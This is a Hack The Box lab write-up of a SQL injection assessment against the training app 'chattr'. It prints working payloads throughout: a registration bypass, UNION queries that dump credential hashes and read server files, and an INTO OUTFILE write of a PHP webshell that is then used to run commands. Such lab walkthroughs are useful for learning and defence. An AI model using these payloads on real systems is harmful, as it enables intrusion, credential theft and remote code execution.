> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/sql-injection-fundamentals.md).

# SQL Injection Fundamentals

## Skills Assessment Walkthrough

> **HTB Module:** SQL Injection Fundamentals **Difficulty:** Medium **Goal:** Black box pentest on chattr GmbH web app — find and exploit SQLi to achieve RCE and capture the flag **Target:** chattr.htb (154.57.164.82)
>
> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FLXhhemie3qBwFgSyICTt%2Fimage.png?alt=media\&token=c1dfb078-1b47-44d5-bea2-0eaebe893b92)![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FSnljmvf8q9xQPXqML391%2Fimage.png?alt=media\&token=a339448a-3624-47d7-acbe-f76f622a1eeb)

***

### 📌 Scenario

We've been contracted by **chattr GmbH** to pentest their web application, specifically focused on **SQL injection** vulnerabilities. They provided only a target IP — full black box approach.

### 🗺️ Attack Chain

```
Login page (no creds) → Register page → SQLi in invitation code field
  → Bypass registration → UNION-based SQLi
    → Enumerate: database → tables → columns → dump creds
      → Check privileges (FILE) → check secure_file_priv
        → Read nginx config → find web root
          → Write PHP webshell via INTO OUTFILE
            → RCE as www-data → flag 🏴
```

***

***

## Step 1 — SQLi in Invitation Code (Registration Bypass)

Browse to the target. We get a login page. No credentials, no way in. But there's a **Create Account / Register** page with an **invitation code** field — and it's vulnerable to SQL injection. 👀

Use Burp to intercept the registration POST request. The injection point is the `invitationCode` parameter:

```
invitationCode=abcd-efgh-1234' or '1'='1
```

This bypasses the invitation code validation. Account created successfully! 302 redirect to login page.![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FgWeHyTYLTWNjbus5eBRk%2Fimg-001.png?alt=media\&token=70fe6622-21f7-4349-b2fe-25c6b0f66ff9)

***

## Step 2 — Login to the Chat App

Login with the newly registered credentials. We land inside the **chattr messaging app** — a chat interface with users @admin, @bmdyy, @chattr, @dev visible in the sidebar.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2Fg6mk8k3RZOPeMI4LjTer%2Fimg-000.png?alt=media\&token=0cc89482-4140-4c37-a84e-5b59ca79bbb4)

***

## Step 3 — UNION-Based SQLi via Search

The **search bar** in the chat interface is also injectable. This is where we do all the UNION-based enumeration. The injection uses `admin')` to close the existing query.

#### Find the database name:

```sql
admin') UNION select null, null, database(), null from information_schema.schemata #
```

Database: **chattr**

#### Enumerate tables:

```sql
admin') UNION select null, null, table_name, null from information_schema.tables where table_schema='chattr' #
```

Tables found: **Users**, **InvitationCodes**, **Messages**

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FbWpgxN3ssnQl8JFpdGNq%2Fimg-002.png?alt=media\&token=95d25f77-f753-407f-b91a-2c1d4030986c)

***

## Step 4 — Enumerate Columns

```sql
admin') UNION select null, null, column_name, null from information_schema.columns where table_schema='chattr' and table_name='Users' #
```

Found columns including `Username` and `Password` in the Users table.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FmLsh1vLJlHbjKk56s5mM%2Fimg-003.png?alt=media\&token=a251aa9d-1622-49c2-a765-863b5e75f518)

***

## Step 5 — Dump All Credentials

```sql
admin') UNION select null, null, group_concat(0x3a,Username,0x3a,Password,0x3a), null from chattr.Users #
```

All usernames and their **argon2** password hashes dumped:

```
:admin:$argon2i$v=19$m=2048,t=4,p=...
:bmdyy:$argon2i$v=19$m=2048,t=4,p=...
:chattr:$argon2i$v=19$m=2048,t=4,p=...
:dev:$argon2i$v=19$m=2048,t=4,p=...
```

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FS1FDoXmvuPOQPUnjcHem%2Fimg-004.png?alt=media\&token=e3b3d517-a578-4e0b-9ada-25ae478dabec)

***

## Step 6 — Check Privileges (FILE)

Can we read/write files? Check user privileges:

```sql
admin') UNION select null, grantee, privilege_type, null from information_schema.user_privileges #
```

We have **FILE** privilege! 🔥

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2Fh83L0PcjorQX7Ra32c0Q%2Fimg-005.png?alt=media\&token=fd78fd7b-8f20-43be-8ef6-bd8c6f152952)

***

## Step 7 — Check secure\_file\_priv

```sql
admin') UNION select null, variable_name, variable_value, null from information_schema.global_variables where variable_name="secure_file_priv" #
```

`secure_file_priv` is **empty** — meaning we can read/write files anywhere! No restrictions.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FTOFO7TcEpYPFtZcBS0rD%2Fimg-006.png?alt=media\&token=43bfd7d8-22d1-4f2b-a605-72eb36c7d0e2)

***

## Step 8 — Read Nginx Config (Find Web Root)

Use `LOAD_FILE()` to read the nginx site config:

```sql
admin') UNION select null, null, load_file("/etc/nginx/sites-enabled/default"), null #
```

The nginx config reveals the **web root**:

```
root /var/www/chattr-prod/
```

Also shows: nginx with SSL on port 443, server\_name `chattr.htb`, PHP 8.2-FPM via fastcgi.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FMlxErR3fPq2HnTxx8whE%2Fimg-007.png?alt=media\&token=31528c88-778e-4b42-a98e-0f2171122d92)

We can also read the main nginx config:

```sql
admin') UNION select null, null, load_file("/etc/nginx/nginx.conf"), null #
```

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2Fzf5UKMWlDkN6yKtacROH%2Fimg-008.png?alt=media\&token=8e77bca8-beee-436f-aa8a-e77d17ceda80)

***

## Step 9 — Write PHP Webshell via INTO OUTFILE

Now write a PHP webshell to the web root. The payload is hex-encoded to avoid quote issues:

```
0x3c3f7068702073797374656d28245f524551554553545b22636d64225d293b203f3e
```

Which decodes to: `<?php system($_REQUEST["cmd"]); ?>`

```sql
') UNION SELECT "", 0x3c3f7068702073797374656d28245f524551554553545b22636d64225d293b203f3e, "", "" INTO OUTFILE '/var/www/chattr-prod/shell_test.php'#
```

Shell written to `/var/www/chattr-prod/shell_test.php`! 🔥

***

## Step 10 — RCE as www-data

Access the webshell:

```
https://154.57.164.82:30404/shell_test.php?cmd=whoami
```

```
www-data
```

We have RCE! Running as `www-data`.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FXJ8TduKWWgwBSy8oF0zb%2Fimg-009.png?alt=media\&token=7d52a410-87a1-496b-9870-d0d684863634)

***

## Step 11 — Find and Read the Flag

List the root directory to find the flag file:

```
https://154.57.164.82:30404/shell_test.php?cmd=ls /
```

```
bin boot dev etc flag_876a4c.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
```

Found: `flag_876a4c.txt` in `/`

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FcG1tSBeV6BJuQcZ2JpBD%2Fimg-010.png?alt=media\&token=9967abc7-e170-43d7-ae9f-bfc47b9d0512)

Read the flag:

```
https://154.57.164.82:30404/shell_test.php?cmd=cat /flag_876a4c.txt
```

```
061b1aeb94dec6bf5d9c...
```

**Flag captured!** 🏴

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FnfvEufHLZ7LKcZ4h74UF%2Fimg-011.png?alt=media\&token=93d8e11e-2c78-4fbb-b73a-33849b0589e3)

***

## 🏆 Pwned!

From black box to full RCE — SQLi in invitation code → UNION enumeration → FILE privilege → webshell → flag.

#### Tools Used

| Tool         | Purpose                                         |
| ------------ | ----------------------------------------------- |
| Burp Suite   | Intercepting registration request, SQLi testing |
| Browser      | UNION SQLi via search, webshell access          |
| UNION SQLi   | DB enum, credential dump, file read/write       |
| LOAD\_FILE() | Reading nginx config to find web root           |
| INTO OUTFILE | Writing PHP webshell to web root                |

***

> **GG 🏴** — Black box → SQLi registration bypass → UNION enum → FILE priv → webshell → RCE → flag.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/sql-injection-fundamentals.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
